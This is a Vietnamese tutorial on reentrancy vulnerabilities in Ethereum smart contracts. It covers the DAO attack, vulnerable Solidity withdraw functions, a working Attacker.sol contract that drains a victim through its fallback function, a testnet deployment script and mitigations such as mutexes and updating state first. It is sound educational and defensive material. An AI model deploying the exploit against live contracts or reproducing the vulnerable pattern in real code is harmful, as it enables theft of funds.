Lỗ hổng bảo mật trong Hợp đồng thông minh
Hợp đồng thông minh (Smart Contract) là một thiết kế đột phá, cho phép triển khai mọi giao dịch mà không cần bên thứ ba xác nhận. Thiết kế này là một ứng dụng rất hữu ích trên nền tảng Blockchain. Tuy nhiên, nó sẽ hoàn hảo hơn nếu không bị vướng mắc phải các vấn đề về an ninh. Chuỗi bài viết này sẽ chỉ ra các vấn đề an ninh trong việc triển khai hợp đồng thông minh, giúp cho các lập trình viên tránh được các vấn đề này. Bài đầu tiên sẽ giới thiệu cách khai thác tấn công Reentrancy vào các hợp đồng thông minh cũng như các phương pháp phòng chống lỗ hổng này.
Để hiểu được nội dung của bài viết này, người đọc cần có kiến thức về:
- Blockchain, Ethereum, Hợp đồng thông minh.
- Ngôn ngữ Solidity và lập trình Hợp đồng thông minh.
Như chúng ta đã biết, hợp đồng thông minh thực chất là các đoạn mã BYTECODE được viết và dịch bằng ngôn ngữ Solidity. Đoạn mã này sau đó được chuyển tới tất cả các Node của Blockchain và sẽ thực thi hợp đồng trên máy ảo EVM (trong trường hợp của Ethereum). Chính việc Hợp đồng thông minh là các đoạn mã nên rất dễ có những lỗ hổng tồn tại dẫn đến việc bị Hacker kiểm soát.
Ngoài ra, một số lỗi bảo mật của các smart contract trên nền tảng Ethereum cũng được thể hiện lại thông qua một CTF games của Zeppelin - một hãng rất nổi tiếng hiện nay trong xây dựng các solutions cho smart contract. CTF này có tên là The Ethernaut - nội dung chủ đạo là hacking smart contract.
Các bạn có thể tham gia chơi tại đây: https://ethernaut.zeppelin.solutions
Lỗ hổng Reentrancy
Như đã đề cập ở trên, lỗi (bug) trong Solidity rất tốn kém do ảnh hưởng đến dữ liệu và tài sản trong hợp đồng thông minh, khiến bản thân và nhiều người khác gặp rủi ro, vì vậy điều quan trọng là phải chú ý, đề phòng các lỗ hổng có thể có khi viết và triển khai hợp đồng thông minh. Phần này xin bàn về một trong những lỗi đó, Reentrancy - khai thác gửi đệ quy. Chúng tôi sẽ thực hiện một kịch bản tấn công reentrancy đơn giản bằng cách sử dụng 2 hợp đồng thông minh, một của nạn nhân (Victim) và một của kẻ tấn công (Attacker). Sau đây, UIT InSecLab sẽ mô tả các lỗ hổng an ninh Reentrancy, rất phổ biến trong việc thiết kế các hợp đồng thông minh và cách thức Hacker có thể khai thác nó.
Một trong những mối nguy hiểm lớn của việc gọi các hợp đồng bên ngoài (external contract) là chúng có thể chiếm quyền điều khiển và thực hiện các thay đổi đối với dữ liệu của bạn theo cách không mong đợi. Loại lỗi này có thể có nhiều dạng khác nhau , nhưng tất cả lỗi lớn dẫn đến sự sụp đổ của DAO (Decentralized Autonomous Organization) đều là các lỗi thuộc loại này. Cụ thể, trong ngày 17.6.2016, DAO bị tin tắc chiếm dụng 3.6 triệu Ether (tương đương 50 triệu đô la Mỹ) bằng cách khai thác lỗ hổng Reentrancy. Vụ tấn công này được ghi nhận là vụ tấn công Reentrancy đầu tiên, nhưng tổn thất vô cùng nghiêm trọng.
Reentrancy bao gồm 2 dạng chính như sau:
- Reentrancy xảy ra trên một hàm đơn lẻ (Reentrancy on a Single Function): Một hàm được gọi lặp đi lặp lại trước khi lời gọi hàm đầu tiên của nó hoàn tất. Theo cách này, các lời gọi hàm liên tiếp sẽ phá vỡ tính toàn vẹn của dữ liệu nếu không được kiểm soát tốt.
// INSECUREmapping (address => uint) private userBalances;function withdrawBalance() public {uint amountToWithdraw = userBalances[msg.sender];require(msg.sender.call.value(amountToWithdraw)()); // At this point, the caller's code is executed, and can call withdrawBalance again// lỗi này liên quan đến việc gọi hàm call, sẽ được đề cập chi tiết ở phần dướiuserBalances[msg.sender] = 0;} |
Trong đoạn code bên trên, số dư tài khoản người dùng KHÔNG được thiết lập giá trị về 0 cho đến khi lời gọi hàm đầu tiên hoàn tất. Do đó, các lời gọi gọi thứ 2, thứ 3,... sẽ thực hiện rút tiền thành công ra khỏi tài khoản mà vẫn không chịu sự giới hạn nào. Lỗi Reentrancy xảy ra do cơ chế hoạt động của hàm Call và Fallback trong quá trình thực hiện lời gọi hàm từ bên ngoài, hay trong trường hợp một Hợp đồng nhận được Ether. Chi tiết về cách hoạt động của lỗ hổng cũng như 2 loại hàm này sẽ được phân tích ở phần tiếp theo.
- Reentrancy xảy ra liên hàm (Cross-function Reentrancy): Kẻ tấn công cũng có thể thực hiện một cuộc tấn công tương tự bằng cách sử dụng hai hàm khác nhau có cùng trạng thái.
// INSECUREmapping (address => uint) private userBalances;function transfer(address to, uint amount) {if (userBalances[msg.sender] >= amount) {userBalances[to] += amount;userBalances[msg.sender] -= amount;}}function withdrawBalance() public {uint amountToWithdraw = userBalances[msg.sender];require(msg.sender.call.value(amountToWithdraw)()); // At this point, the caller's code is executed, and can call transfer()userBalances[msg.sender] = 0;} |
Trong trường hợp này, kẻ tấn công gọi hàm transfer () khi mã nguồn của chúng đang được thực thi trên lời gọi hàm bên ngoài (external call) thông qua phương thức withdrawBalance() . Vì số dư của kẻ tấn công chưa được đặt thành 0, nên hắn có thể tiếp tục chuyển tiền về tài khoản của hắn bằng lời gọi hàm transfer () mặc dù hắn đã nhận được khoản rút tiền thông qua hàm withdrawBalance(). Lỗ hổng này cũng được sử dụng trong cuộc tấn công DAO.
Các giải pháp ngăn ngừa kiểu tấn công này cũng tương tự như dạng thứ nhất (xem thêm ở phần sau). Cũng cần lưu ý rằng trong ví dụ này, cả hai phương thức đều là một phần của cùng một hợp đồng (Smart Contract). Tuy nhiên, lỗi Reentrancy cũng có thể xảy ra trên nhiều hợp đồng, nếu các hợp đồng đó chia sẻ trạng thái.
Phương thức khai thác lỗ hổng Reentrancy
Để dễ hiểu, dạng lỗ hổng và cách tấn công này có thể được mô tả như sau: giả sử bạn có 50 triệu đồng trong tài khoản Ngân hàng. Bạn muốn rút tiền, bạn ra Lệnh rút 50 triệu đồng, tài khoản của bạn tại Ngân hàng về 0 đồng. Nếu Lệnh rút bị lỗi Reentrance, bạn có thể rút nhiều lần 50 triệu đồng mà tài khoản của các bạn vẫn không thay đổi về 0. Với lỗi này, bạn sẽ rút hết tiền của Ngân hàng với nhiều lần rút như vậy.
Lỗi trên là do Hacker kết hợp cơ chế của một số hàm trong Hợp đồng thông minh khiến cho hàm rút tiền withdraw() chạy vào vòng lặp đệ quy tại vị trí call.value(). Việc này rõ ràng khiến tiền bị rút hết mà số tiền trong tài khoản của Hacker vẫn không thay đổi.
Ví dụ, với kết hợp cơ chế của hàm call.value() và hàm Fallback (Phần giải thích về hàm call và hàm fall back ở phần dưới của bài viết này), Hacker sẽ thực hiện cuộc tấn công Reentrancy như sau:
Đây là mô tả mã khai thác của Hacker:
Hình: Phương pháp tấn công lỗi Reentrancy
Ngoài ví dụ trên, Hacker có thể tận dụng lỗi Reentrancy này trong rất nhiều tình huống tùy thuộc vào kịch bản của Hợp đồng thông minh.
Thêm một ví dụ khác, Dưới đây là nội dung mã nguồn Hợp đồng thông minh của nạn nhân và kẻ tấn công:
Victim.sol (Nạn nhân) | |
|
Hoặc ta có một hợp đồng thông minh khác, Victim_01.sol (Nạn nhân) như sau:
pragma solidity ^0.4.8;contract Victim {mapping(address => uint) public _balanceOf; // lưu giá trị số dư tài khoảnfunction withdraw(){require (_balanceOf[msg.sender] > 0); // kiểm tra số dư tài khoản trước khi rútuint x = _balanceOf[msg.sender];msg.sender.call.value(x)(); // thực hiện rút tiền bằng call function_balanceOf[msg.sender] = 0; // gán số dư bằng 0 sau khi rút}function deposit() payable {_balanceOf[msg.sender] = msg.value; // gửi tiền vào contract này}} |
Attacker.sol (Kẻ tấn công) |
pragma solidity ^0.4.8;import './Victim.sol';contract Attacker {Victim v; // v là địa chỉ của contract ?uint public count; // count là số lần muốn rút tiền.event LogFallback(uint c, uint balance);//phương thức khởi tạo của Attacker với tham số là địa chỉ của Victimfunction Attacker(address victim) {v = Victim(victim);}//là phương thức trung gian để mình gửi tiền vô Victim// Gửi tiền vô trước, sau đó mới thực hiện rút rafunction deposit() public payable{ v.deposit.value(msg.value)(); }// phương thức để khai thác Bug Reentrancyfunction attack() {v.withdraw();}//fallback function của Attacker. // Ở đây mình rút 9 lần thì dừng.function () payable {count++;LogFallback(count, this.balance);if (count < 10) {v.withdraw();} }} |
Hàm Call và Hàm Fallback
Trước khi khai thác (exploit)
chúng ta sẽ tìm hiểu call function
và fallback function
.
Trong smart contract mỗi contract là 1 đối tượng giống trong lập trình hướng đối tượng. Ví dụ chúng ta muốn sử dụng phương thức fun(uint256 x)
trong contract ?️ thì chúng ta gọi nó bằng cách ?️.fun(1)
. Có 1 cách khác để gọi phương thức fun(uint256 x)
là dùng call
.
A.call.(bytes4(sha3("fun(uint256)")), 1)
Để xác định phương thức được sử dụng thì dựa trên 4 byte đầu tiên của sha3("fun(uint256)")
.
Fallback function
là một hàm đặc biệt trong smart contract, nó không có tên hàm và được sử dụng khi: contract nhận ether, hoặc khi có ai đó gọi hàm không có trong contract hoặc tham số không đúng.
Fallback function
có dạng là function () { ... }
được gọi khi mà phương thứcfun(uint256 x)
không tồn tại trong contract ?️( Cái này giống default
trong switch case
? ). Fallback function
cũng được gọi khi nhận ether
( có dạng là function() payable { ... }
).
Quay trở lại với đoạn code trong Hợp đồng thông minh có Bug,
uint x = _balanceOf[msg.sender];
msg.sender.call.value(x)();
_balanceOf[msg.sender] = 0;
Nếu như msg.sender là địa chỉ của người dùng ?️ thì sau khi thực hiện đoạn code trên thì ?️ sẽ nhận được X ether và _balanceOf[?️] = 0️⃣
Giả sử ?️ là Attacker. Khi đó, msg.sender là địa chỉ của contract ?️ (Attacker) thì ?️ sẽ nhận được X ether và đồng thời thực thi fallback function trong ?️. Mỗi lần ether được gửi tới contract nào đó thì hàm Fallback của contract đó sẽ tự động được gọi. Fallback function trong ?️ có thể gọi tiếp hàm withdraw() của contract có lỗi Reentrancy để rút tiền bởi vì _balanceOf[?️] vẫn là X. Vậy là mình có thể rút hết ? của Contract này.
Khi tài khoản của Contract nạ nhân (Victim) hết tiền thì msg.sender.call.value(x)() bị fail và ngay lúc đó vòng lặp ngừng lại. Tuy nhiên, vòng lặp đệ qui lớn có thể xảy ra tình trạng out of gas. Do đó, số lần rút thường được giới hạn.
Cách triển khai hợp đồng
Sau khi đã có mã nguồn hợp đồng dùng để khai thác, chúng ta thực hiện triển khai (deploy) nó trên mạng Testnet của Ethereum. Việc triển khai này có thể được thực hiện bằng Remix IDE hoặc Truffle Framework. Code triển khai có thể dùng như bảng bên dưới (dùng Truffle).
Deployment Code (2_deploy_contracts.js) |
const Victim = artifacts.require('./Victim.sol')const Attacker = artifacts.require('./Attacker.sol')module.exports = function(deployer) {deployer .deploy(Victim) .then(() => deployer.deploy(Attacker, Victim.address) )} |
Giải pháp đề phòng
- Sử dụng
transfer()
hoặcsend()
thay thế chocall()
. Điều này cũng cho phép chúng ta thực thi mã bên ngoài, nhưng việc giới hạn lượng gas quy định ở mức 2.300 gas, nó chỉ đủ để ghi lại một sự kiện, nhưng không đủ để khởi động một cuộc tấn công. Thí dụ: Thay thế msg.sender.call.value(ethAmt)() bằng msg.sender.send(ethAmt)() - Đặt
_balanceOf[msg.sender] = 0
trướcmsg.sender.call.value(x)()
. - Sử dụng Mutex modifier để khóa hàm withdraw nếu nó đã được thực hiện. Tuy nhiên, việc áp dùng biện pháp này cần phải thật cẩn thận, do những bất cẩn trong lập trình có thể dẫn đến deadlocks hoặc livelocks. Xem ví dụ vềmã nguồn áp dụng mutex ở bảng bên dưới.
Victim.sol (No Reentrancy Bug) |
pragma solidity ^0.4.8;contract Victim {bool locked;/** @dev Modifier to insure that functions cannot be reentered during execution. Note there is only one global "locked" var, so there is a potential to be locked out of all functions that use the modifier at the same time.*/ modifier noReentrancy() {require(!locked);locked = true;_;locked = false;}function withdraw() noReentrancy {uint transferAmt = 1 ether; if (!msg.sender.call.value(transferAmt)()) throw; }function deposit() payable {}} |
Tuy nhiên, lỗi Reentrancy này có thể xảy ra thông qua nhiều hàm, hoặc thậm chí liên quan đến nhiều hợp đồng khác nhau. Do đó, các giải pháp mà chỉ nhắm đến lỗi này ở duy nhất một Hợp đồng đơn lẻ sẽ không hiệu quả.
Thay vào đó, các lập trình viên đã được khuyến nghị hoàn thành tất cả các công việc nội bộ (các tác vụ bên trong Contract) (ví dụ: thay đổi trạng thái) trước và sau đó mới thực hiện gọi hàm bên ngoài. Quy tắc này, nếu được tuân thủ cẩn thận, sẽ giúp lập trình viên tránh các lỗ hổng Reentrancy. Tuy nhiên, lập trình viên không chỉ cần tránh gọi các chức năng bên ngoài quá sớm mà còn nên hạn chế các chức năng gọi các hàm bên ngoài.
Tài liệu tham khảo:
Ethereum Smart Contract Security Best Practices (mô tả các lỗ hổng và các giải pháp ngăn ngừa)
“Reentrancy Attack” on a Smart Contract
Smart Contract Security: Part 1 Reentrancy Attacks